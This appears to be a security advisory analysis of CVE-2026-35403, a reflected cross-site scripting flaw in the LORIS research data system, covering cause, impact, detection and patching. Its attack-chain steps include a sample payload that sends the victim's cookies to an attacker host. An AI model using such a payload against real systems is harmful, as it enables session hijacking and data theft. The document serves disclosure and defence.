CVE-2026-35403: 
NixOS vulnerability analysis and mitigation

CVE-2026-35403 is a reflected cross-site scripting (XSS) vulnerability in the survey_accounts module of LORIS (Longitudinal Online Research and Imaging System), a self-hosted web application for neuroimaging research data management. The vulnerability affects LORIS versions 15.10 through 27.0.2 and version 28.0.0, and was disclosed on April 8, 2026. It is fixed in versions 27.0.3 and 28.0.1. The CVSS v3.1 base score is 5.4 (Medium) per NVD, while the GitHub Security Advisory rates it 6.5 (Moderate) (GitHub Advisory, Red Hat CVE).

The root cause is a missing Content-Type response header in the ValidateEmailSubmitInput.php AJAX handler within the survey_accounts module (CWE-79: Improper Neutralization of Input During Web Page Generation). Although the server correctly JSON-encodes the response data, the absence of Content-Type: application/json; charset=utf-8 causes browsers to perform MIME-type sniffing and interpret the response as HTML. When a user provides an invalid visit label, the JSON-encoded error payload can be rendered as HTML by the browser, enabling script injection if an attacker tricks a victim into following a crafted malicious link. The fix is a single-line patch adding the appropriate Content-Type header before output (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser session within the LORIS application. Given the changed scope in the CVSS vector, the impact can extend beyond the vulnerable component, potentially enabling session hijacking, credential theft, or unauthorized actions on behalf of the authenticated user. Confidentiality and integrity are both affected at a low-to-moderate level; availability is not impacted. Because LORIS handles sensitive neuroimaging research data, unauthorized access to session tokens or user data could have significant privacy implications (GitHub Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.032%, indicating a very low probability of exploitation in the near term. The vulnerability requires an authenticated user with low privileges to be socially engineered into following a crafted link, raising the exploitation bar. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was reported by researcher alexaubut (GitHub Advisory).

1. Reconnaissance: Identify a publicly accessible or network-reachable LORIS instance running a vulnerable version (15.10–27.0.2 or 28.0.0) with the survey_accounts module enabled.
2. Craft malicious URL: Construct a URL targeting the ValidateEmailSubmitInput.php AJAX endpoint in the survey_accounts module, supplying an invalid visit label parameter that includes an XSS payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>).
3. Social engineering: Trick an authenticated LORIS user (with at least survey_accounts_view permission) into clicking the crafted link, for example via phishing email or a malicious web page.
4. XSS execution: The server returns the JSON-encoded payload without a Content-Type header; the browser interprets the response as HTML and executes the injected script in the victim's session context.
5. Session hijack or data theft: The attacker's script exfiltrates session cookies, authentication tokens, or other sensitive data to an attacker-controlled server (GitHub Advisory).

• Network: Unusual outbound HTTP requests from a user's browser to external domains shortly after accessing LORIS survey_accounts module endpoints; requests to ValidateEmailSubmitInput.php with anomalous or script-containing visit_label parameters.
• Logs: Web server access logs showing requests to /modules/survey_accounts/ajax/ValidateEmailSubmitInput.php with URL-encoded script tags or JavaScript payloads in query parameters.
• Logs: Responses from the above endpoint lacking a Content-Type: application/json header (observable in proxy or WAF logs) on unpatched instances.
• Browser/Proxy: Unexpected redirects or data submissions to external URLs originating from LORIS application pages.

Upgrade LORIS to version 27.0.3 or 28.0.1, which add the Content-Type: application/json; charset=utf-8 header to the ValidateEmailSubmitInput.php response, preventing browser MIME sniffing. As a workaround for installations that do not use the survey_accounts module, the module can be disabled entirely. Organizations should also consider deploying a Web Application Firewall (WAF) with XSS filtering rules as a defense-in-depth measure while patching (GitHub Advisory).

The vulnerability was assigned a "Moderate" severity by the LORIS project maintainers and disclosed via GitHub Security Advisories on April 8, 2026, by maintainer driusan. Credit was given to researcher alexaubut for the report. No significant broader media coverage or notable security community commentary beyond standard CVE aggregator postings has been identified (GitHub Advisory).